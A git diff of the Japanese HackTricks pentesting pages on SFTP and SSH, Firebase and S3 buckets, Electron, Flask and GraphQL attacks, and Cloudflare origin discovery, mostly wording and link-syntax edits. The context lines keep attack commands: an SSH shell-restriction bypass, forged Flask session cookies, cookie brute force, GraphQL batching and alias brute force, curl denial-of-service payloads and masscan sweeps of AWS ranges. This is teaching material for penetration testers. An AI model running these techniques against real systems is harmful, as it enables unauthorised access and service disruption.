-SFTPセットアップで一般的な見落としが発生します。管理者はユーザーがリモートシェルアクセスを有効にせずにファイルを交換できるように意図しています。ユーザーを非対話型シェル(例: `/usr/bin/nologin`)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。**ユーザーはログイン後すぐにコマンド(例: `/bin/bash`)の実行を要求することで、これらの制限を回避できます**。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。 +SFTPセットアップにおいて一般的な見落としが発生します。管理者はユーザーがリモートシェルアクセスを有効にせずにファイルを交換できるように意図しています。ユーザーを非対話型シェル(例: `/usr/bin/nologin`)に設定し、特定のディレクトリに制限しても、セキュリティの抜け穴が残ります。**ユーザーはログイン後すぐにコマンド(例: `/bin/bash`)の実行を要求することで、これらの制限を回避できます**。これにより、不正なコマンド実行が可能になり、意図されたセキュリティ対策が損なわれます。 [こちらからの例](https://community.turgensec.com/ssh-hacking-guide/): ```bash @@ -222,7 +222,7 @@ debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` -以下は、ユーザー `noraj` のための安全な SFTP 設定の例です(`/etc/ssh/sshd_config` – openSSH): +以下は、ユーザー `noraj` のための安全な SFTP 構成の例です(`/etc/ssh/sshd_config` – openSSH): ``` Match User noraj ChrootDirectory %h @@ -248,7 +248,7 @@ sudo ssh -L :: -N -f @ symlink / froot ``` -もしウェブを介してファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダーをリストすることができます。 +もしウェブを通じてファイル "_froot_" にアクセスできれば、システムのルート ("/") フォルダをリストすることができます。 ### 認証方法 @@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` -SSHサーバーの設定を確認することは、予期される方法のみが許可されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。 +SSHサーバーの設定を確認することは、予期される方法のみが承認されていることを確認するために必要です。クライアントで詳細モードを使用すると、設定の効果を確認するのに役立ちます。 ### 設定ファイル ```bash @@ -283,7 +283,7 @@ id_rsa ## 参考文献 -- SSHを強化する方法に関する興味深いガイドは[https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)で見つけることができます。 +- SSHを強化する方法に関する興味深いガイドは[https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)で見つけることができます - [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks 自動コマンド diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md index e84fe94db..5a6bc5d6c 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/README.md +++ b/src/network-services-pentesting/pentesting-web/buckets/README.md @@ -4,6 +4,8 @@ バケツの列挙と悪用についてもっと学びたい場合は、このページを確認してください: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 07a0ae7ab..afcf39e94 100644 --- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -4,10 +4,12 @@ ## Firebaseとは -Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減し、優れたSDKやアプリケーションとバックエンドの相互作用を容易にする多くの興味深い機能を提供することに重点を置いています。 +Firebaseは主にモバイルアプリケーション向けのBackend-as-a-Serviceです。バックエンドのプログラミングの負担を軽減し、優れたSDKやアプリケーションとバックエンド間のインタラクションを容易にする多くの興味深い機能を提供することに重点を置いています。 -Firebaseの詳細については、以下を参照してください: +Firebaseの詳細については、以下を参照してください: -{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} +{{#ref}} +https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum +{{#endref}} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md index 7f0d8253c..9ba4451c5 100644 --- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md +++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md @@ -15,7 +15,9 @@ cachedArchives[p].destroy() } }) ``` -{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} +{{#ref}} +https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36 +{{#endref}} ![](<../../../images/image (1070).png>) @@ -44,7 +46,7 @@ location.reload() //Trigger the "exit" event ``` ## 例 2 -**プロトタイプ汚染からrequireオブジェクトを取得**。 From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) +**プロトタイプ汚染からrequireオブジェクトを取得**。 [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81) 漏洩: diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 2ebfec814..43d2f5e21 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -24,7 +24,9 @@ echo "ImhlbGxvIg" | base64 -d Flaskアプリケーションのセッションクッキーを取得、デコード、ブルートフォース、作成するためのコマンドラインツールで、秘密鍵を推測します。 -{% embed url="https://pypi.org/project/flask-unsign/" %} +{{#ref}} +https://pypi.org/project/flask-unsign/ +{{#endref}} ```bash pip3 install flask-unsign ``` @@ -48,17 +50,19 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy flask-unsignを使用して作成されたクッキーを使ってウェブサイトをブルートフォースするコマンドラインツールです。 -{% embed url="https://github.com/Tagvi/ripsession" %} +{{#ref}} +https://github.com/Tagvi/ripsession +{{#endref}} ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` -### Flask セッションクッキーにおける SQLi と SQLmap +### FlaskセッションクッキーにおけるSQLiとSQLmap -[**この例**](../../pentesting-web/sql-injection/sqlmap/#eval)では、sqlmap の `eval` オプションを使用して、既知の秘密を用いて Flask のために **自動的に sqlmap ペイロードに署名**します。 +[**この例**](../../pentesting-web/sql-injection/sqlmap/#eval)では、sqlmapの`eval`オプションを使用して、既知の秘密を用いてFlaskのために**sqlmapペイロードを自動的に署名**します。 -## SSRF への Flask プロキシ +## SSRFへのFlaskプロキシ -[**この書き込みでは**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) Flask が「@」という文字で始まるリクエストをどのように許可するかが説明されています。 +[**この書き込み**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、Flaskが「@」という文字で始まるリクエストをどのように許可するかが説明されています。 ```http GET @/ HTTP/1.1 Host: target.com diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 2d7b1b2f8..4a51ee401 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} - ## Introduction -GraphQLは、バックエンドからデータをクエリするための**効率的な代替手段**として**強調されています**。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いのに対し、GraphQLは**単一のリクエスト**で必要なすべての情報を取得できます。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 +GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。 ## GraphQLとセキュリティ -GraphQLを含む新しい技術の登場に伴い、新しいセキュリティの脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 +GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。 ### ディレクトリブルートフォース攻撃とGraphQL @@ -24,7 +23,7 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ - `/graphql/api` - `/graphql/graphql` -オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) +オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) ### フィンガープリンティング @@ -66,10 +65,10 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy ``` ![](<../../images/image (416).png>) -**イントロスペクションを介してデータベーススキーマを列挙する** +**インストロスペクションを介してデータベーススキーマを列挙する** > [!NOTE] -> イントロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 +> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。 ```bash #Full introspection query @@ -159,7 +158,7 @@ name } } ``` -インラインインスペクションクエリ: +インラインイントロスペクションクエリ: ``` /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` @@ -190,11 +189,11 @@ query={flags{name, value}} query = { hiddenFlags } ``` 別の例では、"_Query_" タイプオブジェクトの中に "_user_" と "_users_" の 2 つのオブジェクトがありました。\ -これらのオブジェクトが検索に引数を必要としない場合、**必要なデータを要求するだけで**すべての情報を**取得できます**。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: +これらのオブジェクトが検索に引数を必要としない場合、必要なデータを **要求する** だけで **すべての情報を取得** できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます: ![](<../../images/image (880).png>) -しかし、この例ではそうしようとすると、**エラー**が発生します: +しかし、この例ではそうしようとすると **エラー** が発生します: ![](<../../images/image (1042).png>) @@ -208,7 +207,7 @@ query = { hiddenFlags } ![](<../../images/image (90).png>) -注意すべきは、**パラメータ** "_**user**_" と "_**password**_" を要求できることを**発見した**ことです。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: +私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します: ![](<../../images/image (707).png>) @@ -216,13 +215,13 @@ query = { hiddenFlags } **クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)** -文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を**検索すると**、すべてのデータを**ダンプ**します。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 +文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。 ### 検索 -このセットアップでは、**データベース**には **人** と **映画** が含まれています。**人**は **メール** と **名前** で識別され、**映画**は **名前** と **評価** で識別されます。**人**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 +このセットアップでは、**データベース**には **人** と **映画** が含まれています。 **人** は **メール** と **名前** で識別され、**映画** は **名前** と **評価** で識別されます。 **人** は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 -**名前**で人を**検索**し、彼らのメールを取得できます: +**名前** で人を **検索** し、彼らのメールを取得できます: ```javascript { searchPerson(name: "John Doe") { @@ -286,7 +285,7 @@ name ![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>) -このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になったり、映画を持ったりすることができ、データベース内の関係を示します。 +このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。 データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます): ```javascript @@ -331,18 +330,18 @@ releaseYear ``` ### ディレクティブのオーバーロード -[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。最終的にはDoS攻撃が可能になります。 +[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。 ### 1つのAPIリクエストでのバッチブルートフォース この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\ -**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ機能のおかげで、1つのHTTPリクエストで複数のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 +**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ処理機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。 以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です: ![](<../../images/image (1081).png>) -レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンが含まれています。 +レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンがあります。 ![](<../../images/image (119) (1).png>) @@ -350,7 +349,7 @@ releaseYear ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマのほとんどを再構築するのに十分です。 -さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築**します。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信したときに偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 +さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築します**。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。 素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。 @@ -422,7 +421,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。 -通常、**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも可能であり、GETリクエストではCSRFトークンが検証されない可能性があることに注意してください。 +**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。 また、[**XS-Search**](../../pentesting-web/xs-search/) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。 @@ -440,7 +439,7 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク ## GraphQLにおける認可 -エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみを確認し、認可は確認しない場合があります。 +エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。 クエリ入力変数を変更すると、機密アカウントの詳細が[漏洩](https://hackerone.com/reports/792927)する可能性があります。 @@ -456,7 +455,7 @@ GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないク [クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。 -以下の例では、操作が「forgotPassword」であり、それに関連するforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。 +以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
@@ -466,9 +465,9 @@ GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパ GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。 -エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対してブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用することで、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避することができます。 +エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対するブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。 -以下の例を考えてみてください。これは、エイリアス付きクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 +以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。 ```bash # Example of a request utilizing aliased queries to check for valid discount codes query isValidDiscount($code: Int) { @@ -506,11 +505,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 'https://example.com/graphql' ``` -この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になります。 +この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。 ### **ディレクティブオーバーローディング脆弱性** -**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することでこれを悪用し、高い計算またはメモリ使用を引き起こし、**サービス拒否(DoS)**につながる可能性があります。 +**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -518,14 +517,14 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \ -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -前の例では、`@aa` は宣言されていない可能性のあるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: +前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です: ```bash curl -X POST \ -H "Content-Type: application/json" \ -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 'https://example.com/graphql' ``` -宣言されたすべてのディレクティブを発見するために、イントロスペクションクエリを送信することもできます: +すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます: ```bash curl -X POST \ -H "Content-Type: application/json" \ @@ -536,7 +535,7 @@ curl -X POST \ ### **フィールド重複脆弱性** -**フィールド重複**は、GraphQLサーバーが同じフィールドを過剰に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、数百または数千の繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 +**フィールド重複**は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、何百または何千もの繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。 ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -565,7 +564,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso ### 自動テスト -{% embed url="https://graphql-dashboard.herokuapp.com/" %} +{{#ref}} +https://graphql-dashboard.herokuapp.com/ +{{#endref}} - AutoGraphQL を説明するビデオ: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU) @@ -579,5 +580,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md index 7f75ad252..24464ee77 100644 --- a/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md +++ b/src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md @@ -37,11 +37,13 @@ done ``` ## CloudインフラからCloudflareを明らかにする -これはAWSマシンのために行われたものであっても、他のクラウドプロバイダーに対しても行うことができます。 +AWSマシンのために行われた場合でも、他のクラウドプロバイダーに対しても行うことができます。 -このプロセスのより良い説明については、以下を確認してください: +このプロセスの詳細については、以下を確認してください: -{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{{#ref}} +https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks +{{#endref}} ```bash # Find open ports sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt @@ -64,7 +66,7 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld. 